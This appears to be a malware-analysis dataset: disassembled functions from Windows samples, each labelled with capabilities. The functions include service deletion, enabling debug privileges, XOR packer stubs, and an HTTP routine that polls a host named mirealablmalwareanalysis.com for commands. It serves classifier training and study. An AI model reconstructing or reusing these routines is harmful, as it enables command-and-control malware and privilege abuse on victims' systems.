joyce8/EMBER2024-capa huggingface dataset:
Function at 0xb4bf20
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ecx
push ebp
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebp, eax
test ebp, ebp
mov dword [esp + 4], ebp
je 0xb4bfd7
mov eax, dword [esp + 0xc]
push esi
push 0xf01ff
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0xb4bfcf
push ebx
push edi
push 0xb6f770
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0xb4bfae
push 0x3e8
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
push 0xb6f770
push esi
call ebx
test eax, eax
je 0xb4bfae
mov ebp, 3
cmp dword [0xb6f774], ebp
jne 0xb4bfaa
push 0x3e8
call edi
push 0xb6f770
push esi
call ebx
test eax, eax
jne 0xb4bf8f
mov ebp, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
call ebx
test eax, eax
jne 0xb4bfc6
push 0x64
call edi
push esi
call ebx
test eax, eax
je 0xb4bfbb
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
pop ebp
pop ecx
ret
Function at 0xb4fe00
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0xb658f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
mov ecx, dword [esp + 0x1c]
push esi
mov esi, dword [esp + 0x24]
lea eax, [esp + 4]
push edi
xor edi, edi
push eax
push 0x20019
push edi
push esi
push ecx
mov dword [esp + 0x1c], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, edi
je 0xb4fed2
lea edx, [esp + 0x24]
push eax
push edx
call fcn.00b4c7a0
add esp, 8
mov eax, dword [esp + 0x24]
mov dword [esp + 0x1c], edi
cmp eax, edi
je 0xb4fe61
mov edx, dword [eax]
jmp 0xb4fe63
xor edx, edx
xor ecx, ecx
push edi
xor eax, eax
push edx
push ecx
mov ecx, dword [esp + 0x38]
push eax
lea eax, [esp + 0x1c]
mov edx, dword [ecx + 4]
push eax
push esi
push 2
push edx
mov dword [esp + 0x2c], edi
mov dword [esp + 0x30], edi
call fcn.00b4e050
mov eax, dword [esp + 0x44]
add esp, 0x20
cmp eax, edi
mov dword [esp + 0x1c], 0xffffffff
je 0xb4febf
mov esi, eax
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jne 0xb4febf
cmp esi, edi
je 0xb4febf
mov ecx, esi
call fcn.00b47a00
push esi
call fcn.00b551c8
add esp, 4
pop edi
xor al, al
pop esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret
push edi
lea eax, [esp + 0x2c]
push edi
push eax
call fcn.00b4c990
add esp, 0xc
mov eax, dword [esp + 0x28]
mov dword [esp + 0x1c], 1
cmp eax, edi
je 0xb4fef5
mov eax, dword [eax]
jmp 0xb4fef7
xor eax, eax
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x2c]
push ebx
push esi
push eax
push ecx
push edx
call fcn.00b4b640
add esp, 0x10
mov bl, al
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x2c]
cmp eax, edi
je 0xb4ff25
mov eax, dword [eax]
jmp 0xb4ff27
xor eax, eax
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, dword [esp + 0x2c]
mov dword [esp + 0x20], 0xffffffff
cmp esi, edi
je 0xb4ff76
lea ecx, [esi + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jne 0xb4ff76
cmp esi, edi
je 0xb4ff76
mov eax, dword [esi]
cmp eax, edi
je 0xb4ff5d
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esi + 4]
cmp eax, edi
je 0xb4ff6d
push eax
call fcn.00b551c8
add esp, 4
push esi
call fcn.00b551c8
add esp, 4
mov ecx, dword [esp + 0x18]
mov al, bl
pop ebx
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0xb4ff90
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x208
lea eax, [esp]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
push ebp
push esi
push edi
xor edi, edi
push 0x104
push eax
push edi
push SysStringLen
call ebx
mov esi, dword [esp + 0x21c]
mov ebp, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0xb4fffb
mov ecx, dword [esi + 8]
push 0
push ecx
call ebp
test eax, eax
je 0xb50035
lea edx, [esp + 0x10]
push esi
push edx
push SysStringLen
call fcn.00b4fe00
add esp, 0xc
lea eax, [esp + 0x10]
inc edi
push 0x104
push eax
push edi
push SysStringLen
call ebx
test eax, eax
je 0xb4ffc5
mov edi, 0xb6a8b0
mov ecx, dword [esi + 8]
push 0
push ecx
call ebp
test eax, eax
je 0xb50035
mov edx, dword [edi]
push esi
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00b4fe00
add edi, 4
add esp, 0xc
cmp edi, 0xb6a8c0
jb 0xb50000
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x208
ret
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x208
ret

Function at 0xb50070
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x250
push esi
push edi
mov edi, dword [esp + 0x25c]
push 0x5c
push edi
call fcn.00b56082
mov esi, eax
add esp, 8
test esi, esi
je 0xb50107
lea eax, [esp + 8]
mov word [esi], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0xb50102
push ebx
lea ebx, [esi + 2]
push ebp
lea ecx, [esp + 0x3c]
push ebx
push ecx
call fcn.00b55946
add esp, 8
test eax, eax
je 0xb500e3
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea edx, [esp + 0x10]
push edx
push edi
call ebp
test eax, eax
je 0xb500e8
lea eax, [esp + 0x3c]
push ebx
push eax
call fcn.00b55946
add esp, 8
test eax, eax
jne 0xb500c5
mov word [esi], 0x5c
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp word [esi], 0
pop ebp
pop ebx
je 0xb50102
pop edi
mov al, 1
pop esi
add esp, 0x250
ret
mov word [esi], 0x5c
pop edi
xor al, al
pop esi
add esp, 0x250
ret
Function at 0xb50f10
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0xb659fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, dword [esp + 0x2c]
xor ebp, ebp
mov dword [esp + 0x10], eax
xor ebx, ebx
mov eax, 1
mov ecx, ebx
shl eax, cl
mov ecx, dword [esp + 0x10]
test ecx, eax
je 0xb51002
lea edx, [ebx + 0x41]
lea eax, [esp + 0x14]
push edx
push str._c:_
push eax
call fcn.00b54dff
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0xb51002
lea edx, [esp + 0x14]
push edx
push str.Mounting__s_n
call fcn.00b4c6e0
lea eax, [esp + 0x1c]
lea edi, [esi + 0x1048]
push eax
push edi
mov word [esp + 0x28], bp
call fcn.00b5520b
push 0x10
call fcn.00b551d3
add esp, 0x14
mov dword [esp + 0x2c], eax
cmp eax, ebp
mov dword [esp + 0x24], ebp
je 0xb50fc5
mov cx, word [edi]
push ecx
mov ecx, eax
call fcn.00b411c0
jmp 0xb50fc7
xor eax, eax
push esi
mov dword [esp + 0x28], 0xffffffff
mov dword [esi], eax
call fcn.00b50b80
mov edi, dword [esi]
add esp, 4
cmp edi, ebp
je 0xb50ff0
mov ecx, edi
call fcn.00b412c0
push edi
call fcn.00b551c8
add esp, 4
mov edx, dword [esi + 0x1024]
push ebp
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0xb51021
inc ebx
cmp ebx, 0x20
jb 0xb50f3e
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0xb52250
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xb66808
push 0xb56288
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
xor esi, esi
mov dword [ebp - 0x20], esi
mov byte [ebp - 0x24], bl
mov dword [ebp - 4], ebx
mov byte [ebp - 0x34], bl
mov byte [ebp - 0x33], bl
mov byte [ebp - 0x32], bl
mov byte [ebp - 0x31], bl
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x2f], 5
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x12
push 1
lea ecx, [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0xb52329
lea edx, [ebp - 0x28]
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0xb52329
mov dword [ebp - 0x2c], ebx
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
push 1
mov ecx, dword [ebp - 0x28]
push ecx
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call edi
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00b551d3
add esp, 4
mov esi, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x20], esi
cmp esi, ebx
je 0xb52329
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
push esi
push 1
mov edx, dword [ebp - 0x28]
push edx
call edi
test eax, eax
je 0xb52329
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [esi]
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x24], al
jmp 0xb5232c
mov al, byte [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.00b52351
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xb52d20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xb52d58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0xb52d60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xb52d94
mov eax, dword [esp + 0x14]
test eax, eax
je 0xb52d94
push eax
push esi
call fcn.00b5520b
add esp, 8
pop esi
ret 0x10

Function at 0xb52da0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x24
lea eax, [esp + 0x28]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xb52e22
push ebx
mov ebx, dword [esp + 0x30]
push esi
xor esi, esi
test ebx, ebx
jbe 0xb52e15
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x18]
push 0xb6b320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00b54dff
mov ecx, dword [esp + 0x44]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push edi
push 0
push 0
push eax
push ecx
call ebp
inc esi
add edi, 4
cmp esi, ebx
jb 0xb52dda
pop edi
pop ebp
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
add esp, 0x24
ret 0xc

Function at 0xb52e30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xb52ec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0xb52eb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0xb6b320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00b54dff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0xb52eab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0xb52e6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc
Function at 0xb53000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0xb53131
push esi
call fcn.00b56145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.00b45080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0xb53131
push 0
push ebp
call fcn.00b453a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.00b45260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0xb5308b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.00b452f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0xb53121
push 0xb6b918
push edi
call fcn.00b543f0
push eax
push ebx
push esi
call fcn.00b52f60
push 0xb6b8f8
push edi
call fcn.00b543f0
push eax
push ebx
push esi
call fcn.00b52f60
push 0xb6b8d8
push edi
call fcn.00b543f0
push eax
push ebx
push esi
call fcn.00b52f60
push 0xb6b8c0
push edi
call fcn.00b543f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.00b52f60
push 0xb6b8a0
push edi
call fcn.00b543f0
push eax
push ebx
push esi
call fcn.00b52f60
push 0xb6b888
push edi
call fcn.00b543f0
push eax
push ebx
push esi
call fcn.00b52f60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0xb541b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00b54140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00b54140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00b54140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00b54140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xb54bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xb54c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xb6687c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xb54c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xb54c52
xor eax, eax
pop esi
leave
ret 4
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x1000321a
Capabilities:
Get hostname
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov al, byte [0x100115ac]
push edi
push 0x1f
mov byte [ebp - 0x80], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x7f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x210]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
pop edi
jne 0x1000325f
lea eax, [ebp - 0x80]
push 0x80
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea eax, [ebp - 0x80]
mov esi, 0x100113a8
push eax
push esi
call sub.MSVCRT.dll_strcpy
push str._Windows_XP_6.11
push esi
call sub.MSVCRT.dll_strcat
add esp, 0x10
pop esi
leave
ret

Function at 0x10003286
Capabilities:
Create thread
Terminate thread

Disassembly:
sub esp, 0x50
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
xor ebx, ebx
mov ebp, 0x1000bff0
call fcn.1000454e
push 0x40
mov edi, 0x1000d430
push ebx
push edi
call sub.MSVCRT.dll_memset
push edi
push ebp
call fcn.10004654
push 0x40
push ebx
push ebp
call sub.MSVCRT.dll_memset
mov al, byte [0x100115ac]
add esp, 0x20
mov byte [esp + 0x20], al
xor eax, eax
push 0xf
lea edi, [esp + 0x25]
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
cmp byte [eax + 0x1000d430], bl
lea ecx, [eax + 0x1000d432]
je 0x100032f3
mov cl, byte [ecx]
mov byte [esp + eax + 0x20], cl
inc eax
cmp eax, 0x40
jb 0x100032d9
mov byte [esp + eax + 0x21], bl
movsx eax, byte [0x1000d430]
cmp eax, 0x63
jg 0x100033b3
je 0x10003314
sub eax, 0x43
je 0x10003314
dec eax
jmp 0x100033b6
push 0x1000fd9c
lea eax, [esp + 0x24]
push ebx
push eax
push 0x10003797
push ebx
push ebx
mov dword [0x1000d478], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1000d480
mov dword [0x1000fda0], eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
push dword [0x1000fda0]
call edi
test eax, eax
je 0x100033a0
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx eax, word [0x1000d48a]
movzx ecx, word [esp + 0x1a]
sub ecx, eax
cmp ecx, 0x14
jge 0x10003383
push 0xea60
call esi
push ebx
push dword [0x1000fda0]
jmp 0x1000334f
push ebx
mov dword [0x1000d478], 1
push dword [0x1000fda0]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [0x1000fda0], ebx
cmp dword [0x1000d478], ebx
jne 0x1000329a
push 0x927c0
jmp 0x100033db
sub eax, 0x64
je 0x10003402
sub eax, 0xd
je 0x100033e2
dec eax
dec eax
je 0x100033c8
push 0x36ee80
jmp 0x100033db
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
imul eax, eax, 0xea60
pop ecx
push eax
call esi
jmp 0x1000329a
push 2
lea eax, [esp + 0x24]
push 0x10006100
push eax
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
jne 0x100033c1
push 0x5265c00
jmp 0x100033db
lea eax, [esp + 0x20]
push eax
call fcn.10003415
mov dword [esp], 0x927c0
jmp 0x100033db
Function at 0x1000454e
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 0x927c0
xor ebp, ebp
push ebp
push ebp
push ebp
push ebp
push 0x100113a8
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebp
mov dword [esp + 0x10], eax
jne 0x10004584
push ebx
call edi
jmp 0x10004566
push ebp
push 0x400000
mov ecx, 0x100115ac
push 3
push ecx
push ecx
push 0x50
push str.mirealablmalwareanalysis.com
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebp, eax
test ebp, ebp
je 0x1000462d
push 0
push 0x4000000
push 0x10006020
push 0
push str.HTTP_1.1
push str.serve.html
push 0x10006134
push ebp
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
xor ecx, ecx
mov dword [esp + 0x14], eax
cmp eax, ecx
jne 0x100045e2
push dword [esp + 0x10]
call esi
push ebp
jmp 0x10004631
push ecx
push ecx
push ecx
push ecx
push eax
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x1000460a
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0x1c]
push 0xa
push ecx
push eax
call dword [sym.imp.MSVCRT.dll__itoa]
add esp, 0xc
jmp 0x10004624
lea eax, [esp + 0x18]
push eax
push 0x40
push 0x1000bff0
push dword [esp + 0x20]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10004638
push dword [esp + 0x14]
call esi
push ebp
call esi
push dword [esp + 0x10]
call esi
jmp 0x1000457f
push dword [esp + 0x14]
call esi
push ebp
call esi
push dword [esp + 0x10]
call esi
mov al, byte [0x1000bff0]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x100046c9
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x14]
test edi, edi
mov esi, edi
jle 0x100046f6
push 0
push esi
push dword [esp + 0x18]
push dword [esp + 0x18]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jl 0x100046fb
je 0x10004700
add dword [esp + 0x10], eax
sub esi, eax
test esi, esi
jg 0x100046d5
mov eax, edi
pop edi
pop esi
ret
or eax, 0xffffffff
jmp 0x100046f8
mov eax, edi
sub eax, esi
jmp 0x100046f8
Function at 0x10004b18
Capabilities:
Delete service
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10005178
push 0x10004d9c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], ebx
push str.uninstall_is_starting
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call esi
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x24], eax
cmp eax, ebx
je 0x10004bf6
mov dword [ebp - 0x21c], str.IPRIP
mov eax, dword [ebp + 8]
cmp eax, ebx
je 0x10004b8c
cmp byte [eax], bl
je 0x10004b8c
mov dword [ebp - 0x21c], eax
push 0x10000
push dword [ebp - 0x21c]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x20], eax
cmp eax, ebx
jne 0x10004bae
push str.OpenService__s__error_1
jmp 0x10004bf4
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x10004bc0
push str.OpenService__s__error_2
jmp 0x10004bf4
push 0x1f4
push str.SYSTEMCurrentControlSetServices_
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
push 0x64
push dword [ebp - 0x21c]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.MSVCRT.dll_strncat]
add esp, 0x18
push str.uninstall_success
call esi
or dword [ebp - 4], 0xffffffff
xor eax, eax
jmp 0x10004c1c
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x61366f31
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..rsrc
nop
mov ebx, 0x42f314
nop
mov ecx, 0x551043e
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219